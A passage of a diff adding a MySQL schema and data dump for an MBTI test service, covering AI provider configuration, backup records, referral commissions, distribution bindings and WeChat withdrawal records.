CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '默认模型', + `organizationId` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'Organization ID(OpenAI专用)', + `maxTokens` int(11) NULL DEFAULT 4096 COMMENT '最大Token数', + `balanceAlertEnabled` tinyint(1) NULL DEFAULT 0 COMMENT '余额告警是否启用', + `balanceAlertThreshold` decimal(10, 2) NULL DEFAULT 10.00 COMMENT '余额告警阈值', + `notes` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '备注', + `docUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '文档/API Key申请链接', + `isFree` tinyint(1) NULL DEFAULT 0 COMMENT '是否免费额度服务商', + `supportsBalance` tinyint(1) NULL DEFAULT 1 COMMENT '是否支持余额查询', + `lastBalance` decimal(10, 2) NULL DEFAULT NULL COMMENT '最后查询的余额', + `lastBalanceCurrency` varchar(10) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '余额币种:CNY/USD', + `lastBalanceCheckedAt` int(11) NULL DEFAULT NULL COMMENT '最后余额查询时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '软删除时间戳,有值表示已删除', + `extraConfig` json NULL COMMENT '其他配置参数(JSON),方便扩展接收其他参数', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `idx_providerId`(`providerId`) USING BTREE, + INDEX `idx_enabled`(`enabled`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 10 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = 'AI服务商配置表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_ai_providers +-- ---------------------------- +INSERT INTO `mbti_ai_providers` VALUES (1, 'openai', 'OpenAI (GPT)', 0, 1, NULL, 'https://api.openai.com/v1', 'gpt-4.1-mini', '', 4096, 0, 10.00, '', 'https://developers.openai.com/api/docs', 0, 1, 100.00, 'USD', 1772068185, 1770882819, 1772443541, NULL, '[]'); +INSERT INTO `mbti_ai_providers` VALUES (2, 'anthropic', 'Anthropic (Claude)', 0, 0, NULL, 'https://api.anthropic.com/v1', 'claude-sonnet-4-20250514', NULL, 4096, 0, 10.00, NULL, 'https://console.anthropic.com/settings/keys', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (3, 'deepseek', 'DeepSeek', 0, 0, NULL, 'https://api.deepseek.com/v1', 'deepseek-chat', NULL, 4096, 0, 10.00, NULL, 'https://platform.deepseek.com/api_keys', 0, 1, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (4, 'moonshot', 'Moonshot (Kimi)', 0, 0, NULL, 'https://api.moonshot.cn/v1', 'moonshot-v1-8k', NULL, 4096, 0, 10.00, NULL, 'https://platform.moonshot.cn/console/api-keys', 0, 1, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (5, 'groq', 'Groq', 0, 0, NULL, 'https://api.groq.com/openai/v1', 'llama3-8b-8192', '', 8192, 0, 0.00, '免费额度,无需余额监控', 'https://console.groq.com/keys', 1, 0, NULL, NULL, NULL, 1770882819, 1770882850, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (6, 'coze', 'Coze (扣子)', 0, 0, NULL, 'https://api.coze.cn/v1', 'DeepSeek-V3-0324', '', 4096, 0, 10.00, '', 'https://www.coze.cn/open/api', 0, 0, NULL, NULL, NULL, 1770882819, 1771988128, NULL, '{\"bot_id\": \"7488186374479347731\", \"space_id\": \"7487098730056515619\"}'); +INSERT INTO `mbti_ai_providers` VALUES (7, 'qwen', '通义千问 (Qwen)', 0, 0, NULL, 'https://dashscope.aliyuncs.com/compatible-mode/v1', 'qwen-turbo', NULL, 4096, 0, 10.00, NULL, 'https://dashscope.console.aliyun.com/apiKey', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (8, 'zhipu', '智谱 (GLM)', 0, 0, NULL, 'https://open.bigmodel.cn/api/paas/v4', 'glm-4-flash', NULL, 4096, 0, 10.00, NULL, 'https://open.bigmodel.cn/usercenter/apikeys', 0, 0, NULL, NULL, NULL, 1770882819, 1770882819, NULL, NULL); +INSERT INTO `mbti_ai_providers` VALUES (9, 'zhizengzeng', '智增增\r\n', 1, 1, NULL, 'https://api.zhizengzeng.com/v1', 'gpt-4.1', '', 4096, 0, 10.00, '', 'https://doc.zhizengzeng.com', 0, 1, NULL, NULL, NULL, 1770882819, 1773279905, NULL, '[]'); + +-- ---------------------------- +-- Table structure for mbti_backup_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_backup_records`; +CREATE TABLE `mbti_backup_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `filename` varchar(255) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '备份文件名', + `filepath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '本地文件路径', + `fileSize` bigint(20) NULL DEFAULT 0 COMMENT '文件大小(字节)', + `ossUrl` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS访问URL', + `ossPath` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT 'OSS对象路径', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'success' COMMENT '状态:success成功/failed失败', + `deletedAt` int(11) NULL DEFAULT NULL COMMENT '删除时间(时间戳,NULL表示未删除)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_filename`(`filename`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_createdAt`(`createdAt`) USING BTREE, + INDEX `idx_deletedAt`(`deletedAt`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 2 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '数据库备份记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_backup_records +-- ---------------------------- +INSERT INTO `mbti_backup_records` VALUES (1, 'backup_mbti_20260212160946.sql', 'F:\\karuo\\mbti\\api\\runtime/backup/backup_mbti_20260212160946.sql', 82181, 'https://ac-weremote-s2.oss-cn-shenzhen.aliyuncs.com/backup/2026/02/12/backup_mbti_20260212160946.sql', 'backup/2026/02/12/backup_mbti_20260212160946.sql', 'success', NULL, 1770883787, 1770883787); + +-- ---------------------------- +-- Table structure for mbti_commission_records +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_commission_records`; +CREATE TABLE `mbti_commission_records` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '记录ID', + `agentId` int(11) NOT NULL COMMENT '分销商ID', + `orderId` int(11) NULL DEFAULT NULL COMMENT '订单ID', + `commissionRate` decimal(5, 2) NULL DEFAULT 0.00 COMMENT '佣金比例(%)', + `commissionAmount` decimal(10, 2) NOT NULL COMMENT '佣金金额', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'pending' COMMENT 'pending/paid/frozen/cancelled', + `paidAt` int(11) NULL DEFAULT NULL COMMENT '支付时间(时间戳)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID', + `inviterId` int(11) NULL DEFAULT NULL COMMENT '推荐人ID', + `inviteeId` int(11) NULL DEFAULT NULL COMMENT '付款用户ID', + `bindingId` int(11) NULL DEFAULT NULL COMMENT '绑定记录ID', + `orderAmount` int(11) NOT NULL DEFAULT 0 COMMENT '订单金额(分)', + `commissionFen` int(11) NOT NULL DEFAULT 0 COMMENT '佣金金额(分)', + `frozenAt` int(11) NULL DEFAULT NULL COMMENT '冻结时间', + `unfrozenAt` int(11) NULL DEFAULT NULL COMMENT '解冻时间', + `testResultId` int(11) NULL DEFAULT NULL, + `commissionSource` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'payment', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_test_commission`(`testResultId`, `commissionSource`) USING BTREE, + INDEX `idx_agentId`(`agentId`) USING BTREE, + INDEX `idx_orderId`(`orderId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_scope`(`scope`) USING BTREE, + INDEX `idx_dist_enterpriseId`(`enterpriseId`) USING BTREE, + INDEX `idx_inviterId`(`inviterId`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 46 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '佣金记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_commission_records +-- ---------------------------- +INSERT INTO `mbti_commission_records` VALUES (1, 6, NULL, 0.00, 0.10, 'paid', 1773039077, 1773039077, 1773039077, 'personal', 5, 6, 1, 2, 0, 10, NULL, NULL, 84, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (2, 6, NULL, 0.00, 0.10, 'paid', 1773040163, 1773040163, 1773040163, 'personal', 5, 6, 1, 2, 0, 10, NULL, NULL, 85, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (3, 6, NULL, 0.00, 1.00, 'paid', 1773043973, 1773043973, 1773043973, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 87, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (4, 6, NULL, 0.00, 1.00, 'paid', 1773044496, 1773044496, 1773044496, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 88, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (5, 6, NULL, 0.00, 1.00, 'paid', 1773047081, 1773047081, 1773047081, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 89, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (6, 6, NULL, 0.00, 1.00, 'paid', 1773047135, 1773047135, 1773047135, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 90, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (7, 6, NULL, 0.00, 1.00, 'paid', 1773047512, 1773047512, 1773047512, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 92, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (8, 6, NULL, 0.00, 1.00, 'paid', 1773109282, 1773109282, 1773109282, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 93, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (9, 6, NULL, 0.00, 1.00, 'paid', 1773109762, 1773109762, 1773109762, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 94, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (10, 6, NULL, 0.00, 1.00, 'paid', 1773131848, 1773131848, 1773131848, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 102, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (11, 6, NULL, 0.00, 1.00, 'paid', 1773132145, 1773132145, 1773132145, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 103, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (12, 6, NULL, 0.00, 1.00, 'paid', 1773132630, 1773132630, 1773132630, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 104, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (13, 6, NULL, 0.00, 1.00, 'paid', 1773197745, 1773197745, 1773197745, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 108, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (14, 6, NULL, 0.00, 1.00, 'paid', 1773214232, 1773214232, 1773214232, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 109, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (15, 6, NULL, 0.00, 1.00, 'paid', 1773214528, 1773214528, 1773214528, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 110, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (16, 6, NULL, 0.00, 1.00, 'paid', 1773216370, 1773216370, 1773216370, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 112, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (17, 6, NULL, 0.00, 1.00, 'paid', 1773216422, 1773216422, 1773216422, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 113, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (18, 12, NULL, 0.00, 0.01, 'paid', 1773218013, 1773218013, 1773218013, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 114, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (19, 12, NULL, 0.00, 0.01, 'paid', 1773218078, 1773218078, 1773218078, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 115, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (20, 12, NULL, 0.00, 0.01, 'paid', 1773218176, 1773218176, 1773218176, 'personal', NULL, 12, 28, 5, 0, 1, NULL, NULL, 116, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (21, 6, NULL, 0.00, 1.00, 'paid', 1773218291, 1773218291, 1773218291, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 117, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (22, 12, NULL, 0.00, 0.01, 'paid', 1773218860, 1773218860, 1773218860, 'personal', NULL, 12, 29, 6, 0, 1, NULL, NULL, 118, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (23, 6, NULL, 0.00, 1.00, 'paid', 1773219018, 1773219018, 1773219018, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 119, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (24, 12, NULL, 0.00, 0.01, 'paid', 1773219347, 1773219347, 1773219347, 'personal', NULL, 12, 29, 6, 0, 1, NULL, NULL, 120, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (25, 12, NULL, 0.00, 0.01, 'paid', 1773219366, 1773219366, 1773219366, 'personal', NULL, 12, 31, 7, 0, 1, NULL, NULL, 121, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (26, 6, NULL, 0.00, 1.00, 'paid', 1773219370, 1773219370, 1773219370, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 122, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (27, 12, NULL, 0.00, 0.01, 'paid', 1773222595, 1773222595, 1773222595, 'personal', NULL, 12, 32, 8, 0, 1, NULL, NULL, 123, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (28, 12, NULL, 0.00, 0.01, 'paid', 1773227480, 1773227480, 1773227480, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 124, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (29, 34, NULL, 0.00, 0.01, 'paid', 1773227875, 1773227875, 1773227875, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 125, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (30, 12, NULL, 0.00, 0.01, 'paid', 1773228411, 1773228411, 1773228411, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 128, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (31, 12, NULL, 0.00, 0.01, 'paid', 1773228469, 1773228469, 1773228469, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 129, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (32, 34, NULL, 0.00, 0.01, 'paid', 1773228478, 1773228478, 1773228478, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 130, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (33, 12, NULL, 0.00, 0.01, 'paid', 1773228716, 1773228716, 1773228716, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 131, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (34, 34, NULL, 0.00, 0.01, 'paid', 1773228717, 1773228717, 1773228717, 'personal', NULL, 34, 35, 10, 0, 1, NULL, NULL, 132, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (35, 12, NULL, 0.00, 0.01, 'paid', 1773228789, 1773228789, 1773228789, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 133, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (36, 12, NULL, 0.00, 0.01, 'paid', 1773228837, 1773228837, 1773228837, 'personal', NULL, 12, 33, 9, 0, 1, NULL, NULL, 134, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (37, 12, NULL, 0.00, 0.01, 'paid', 1773229546, 1773229546, 1773229546, 'personal', NULL, 12, 36, 11, 0, 1, NULL, NULL, 135, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (38, 6, NULL, 0.00, 1.00, 'paid', 1773279222, 1773279222, 1773279222, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 138, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (39, 6, NULL, 0.00, 1.00, 'paid', 1773279937, 1773279937, 1773279937, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 139, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (40, 6, NULL, 0.00, 1.00, 'paid', 1773279975, 1773279975, 1773279975, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 140, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (41, 6, NULL, 0.00, 1.00, 'paid', 1773280023, 1773280023, 1773280023, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 141, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (42, 6, NULL, 0.00, 1.00, 'paid', 1773280177, 1773280177, 1773280177, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 142, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (43, 6, NULL, 0.00, 1.00, 'paid', 1773280251, 1773280251, 1773280251, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 143, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (44, 6, NULL, 0.00, 1.00, 'paid', 1773285873, 1773285873, 1773285873, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 144, 'test_completion'); +INSERT INTO `mbti_commission_records` VALUES (45, 6, NULL, 0.00, 1.00, 'paid', 1773286899, 1773286899, 1773286899, 'personal', 6, 6, 1, 1, 0, 100, NULL, NULL, 145, 'test_completion'); + +-- ---------------------------- +-- Table structure for mbti_distribution_agents +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_agents`; +CREATE TABLE `mbti_distribution_agents` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '分销商ID', + `userId` int(11) NOT NULL COMMENT '用户ID', + `agentName` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '分销商名称', + `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', + `contactEmail` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系邮箱', + `totalOrders` int(11) NULL DEFAULT 0 COMMENT '总订单数', + `totalCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '总佣金', + `availableCommission` decimal(10, 2) NULL DEFAULT 0.00 COMMENT '可提现佣金', + `status` tinyint(1) NULL DEFAULT 1 COMMENT '状态:1正常,0禁用', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '创建时间(时间戳)', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间(时间戳)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销商表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Table structure for mbti_distribution_bindings +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_bindings`; +CREATE TABLE `mbti_distribution_bindings` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '绑定ID', + `inviterId` int(11) NOT NULL COMMENT '当前推荐人ID (wechat_users.id)', + `inviteeId` int(11) NOT NULL COMMENT '被推荐人ID (wechat_users.id)', + `scope` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'personal' COMMENT '分销维度: personal|enterprise', + `enterpriseId` int(11) NULL DEFAULT NULL COMMENT '企业ID(企业版时非空)', + `expireAt` int(11) NOT NULL COMMENT '绑定过期时间戳(绑定时间+30天)', + `status` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'active' COMMENT '状态: active/expired/overridden', + `prevInviterId` int(11) NULL DEFAULT NULL COMMENT '被抢绑前的推荐人ID', + `overriddenAt` int(11) NULL DEFAULT NULL COMMENT '被覆盖时间(抢绑时记录)', + `createdAt` int(11) NULL DEFAULT NULL COMMENT '绑定创建时间', + `updatedAt` int(11) NULL DEFAULT NULL COMMENT '更新时间', + PRIMARY KEY (`id`) USING BTREE, + UNIQUE INDEX `uk_invitee_scope_ent`(`inviteeId`, `scope`, `enterpriseId`) USING BTREE, + INDEX `idx_inviterId`(`inviterId`) USING BTREE, + INDEX `idx_inviteeId`(`inviteeId`) USING BTREE, + INDEX `idx_prevInviterId`(`prevInviterId`) USING BTREE, + INDEX `idx_expireAt`(`expireAt`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 12 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销绑定记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_distribution_bindings +-- ---------------------------- +INSERT INTO `mbti_distribution_bindings` VALUES (1, 6, 1, 'personal', 6, 1775273468, 'active', NULL, NULL, 1772681468, 1772681468); +INSERT INTO `mbti_distribution_bindings` VALUES (2, 6, 1, 'personal', NULL, 1775629026, 'active', NULL, NULL, 1773025578, 1773037026); +INSERT INTO `mbti_distribution_bindings` VALUES (3, 24, 12, 'personal', NULL, 1775653348, 'active', NULL, NULL, 1773061348, 1773061348); +INSERT INTO `mbti_distribution_bindings` VALUES (4, 12, 27, 'personal', NULL, 1775809886, 'active', NULL, NULL, 1773217886, 1773217886); +INSERT INTO `mbti_distribution_bindings` VALUES (5, 12, 28, 'personal', NULL, 1775809917, 'active', NULL, NULL, 1773217917, 1773217917); +INSERT INTO `mbti_distribution_bindings` VALUES (6, 12, 29, 'personal', NULL, 1775811258, 'active', NULL, NULL, 1773218797, 1773219258); +INSERT INTO `mbti_distribution_bindings` VALUES (7, 12, 31, 'personal', NULL, 1775811310, 'active', NULL, NULL, 1773219310, 1773219310); +INSERT INTO `mbti_distribution_bindings` VALUES (8, 12, 32, 'personal', NULL, 1775814524, 'active', NULL, NULL, 1773222524, 1773222524); +INSERT INTO `mbti_distribution_bindings` VALUES (9, 12, 33, 'personal', NULL, 1775820674, 'active', NULL, NULL, 1773227436, 1773228674); +INSERT INTO `mbti_distribution_bindings` VALUES (10, 34, 35, 'personal', NULL, 1775819750, 'active', NULL, NULL, 1773227750, 1773227750); +INSERT INTO `mbti_distribution_bindings` VALUES (11, 12, 36, 'personal', NULL, 1775821479, 'active', NULL, NULL, 1773229479, 1773229479); + +-- ---------------------------- +-- Table structure for mbti_distribution_withdrawals +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_distribution_withdrawals`; +CREATE TABLE `mbti_distribution_withdrawals` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT, + `userId` int(11) NOT NULL COMMENT '推荐人 wechat_users.id', + `amountFen` int(11) NOT NULL COMMENT '申请提现金额(分)', + `feeFen` int(11) NOT NULL DEFAULT 0 COMMENT '手续费(分)', + `realNameInfo` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '收款实名信息 JSON', + `status` tinyint(1) NOT NULL DEFAULT 0 COMMENT '0审核中,1已驳回,2待收款,3已收款,4已过期', + `auditNote` varchar(500) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '审核备注', + `auditAt` int(11) NULL DEFAULT NULL COMMENT '审核时间', + `transferAt` int(11) NULL DEFAULT NULL COMMENT '打款时间', + `createdAt` int(11) NULL DEFAULT NULL, + `updatedAt` int(11) NULL DEFAULT NULL, + `pay_type` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT 'wechat' COMMENT '支付方式(wechat=微信支付,offline=线下)', + `out_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '商户明细单号(TX+id)', + `transfer_bill_no` varchar(64) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账单号', + `wechat_pay_state` varchar(32) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '微信转账状态(SUCCESS/PROCESSING/FAIL 等)', + `transfer_scene_id` varchar(36) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT '1005' COMMENT '转账场景ID', + `mch_id` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '付款商户号', + `package_info` text CHARACTER SET utf8 COLLATE utf8_general_ci NULL COMMENT '微信支付package信息(用于调起用户确认收款)', + PRIMARY KEY (`id`) USING BTREE, + INDEX `idx_userId`(`userId`) USING BTREE, + INDEX `idx_status`(`status`) USING BTREE, + INDEX `idx_out_bill_no`(`out_bill_no`) USING BTREE, + INDEX `idx_transfer_bill_no`(`transfer_bill_no`) USING BTREE +) ENGINE = InnoDB AUTO_INCREMENT = 7 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_unicode_ci COMMENT = '分销提现记录表' ROW_FORMAT = Dynamic; + +-- ---------------------------- +-- Records of mbti_distribution_withdrawals +-- ---------------------------- +INSERT INTO `mbti_distribution_withdrawals` VALUES (1, 1, 100, 0, NULL, 0, NULL, NULL, NULL, 1773288337, 1773288337, 'wechat', NULL, NULL, NULL, '1005', NULL, NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (2, 1, 500, 0, NULL, 1, '资料不完整', 1773298296, NULL, 1773295496, 1773298296, 'wechat', NULL, NULL, 'FAIL', '1005', '1318592501', NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (3, 1, 1200, 0, NULL, 4, '超时未确认收款', 1773298593, NULL, 1773298579, 1773298593, 'wechat', 'TX202603121600000003', '1330000114850082603120000000000003', 'WAIT_USER_CONFIRM', '1005', '1318592501', NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (4, 1, 100, 0, NULL, 2, NULL, 1773303989, NULL, 1773298605, 1773303989, 'wechat', 'TX2026031216262934524', '1330000114850082603120066922420635', 'WAIT_USER_CONFIRM', '1005', '1318592501', NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (5, 1, 300, 0, NULL, 3, NULL, 1773304691, 1773304699, 1773304687, 1773304699, 'wechat', 'TX2026031216381141445', '1330000114850082603120092315376583', 'SUCCESS', '1005', '1318592501', NULL); +INSERT INTO `mbti_distribution_withdrawals` VALUES (6, 1, 100, 0, NULL, 2, NULL, 1773304830, NULL, 1773304826, 1773304830, 'wechat', 'TX2026031216403070486', '1330000114850082603120032556470199', 'WAIT_USER_CONFIRM', '1005', '1318592501', 'ABBQO+oYAAABAAAAAADBguuPky1AJvR8/3uyaRAAAADnGpepZahT9IkJjn90+1qgn4+p5lA8HVsWJ6K15wGB4z4GGToX0vW7d4gtrpRhn/W4mUaTV+62hOw+Ts5po3kL/Sa/cGuVBIY0Zqi/L+oS9v+k3pU='); + +-- ---------------------------- +-- Table structure for mbti_enterprises +-- ---------------------------- +DROP TABLE IF EXISTS `mbti_enterprises`; +CREATE TABLE `mbti_enterprises` ( + `id` int(11) UNSIGNED NOT NULL AUTO_INCREMENT COMMENT '企业ID', + `name` varchar(100) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NOT NULL COMMENT '企业名称', + `code` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '企业代码', + `contactName` varchar(50) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系人姓名', + `contactPhone` varchar(20) CHARACTER SET utf8mb4 COLLATE utf8mb4_unicode_ci NULL DEFAULT NULL COMMENT '联系电话', + 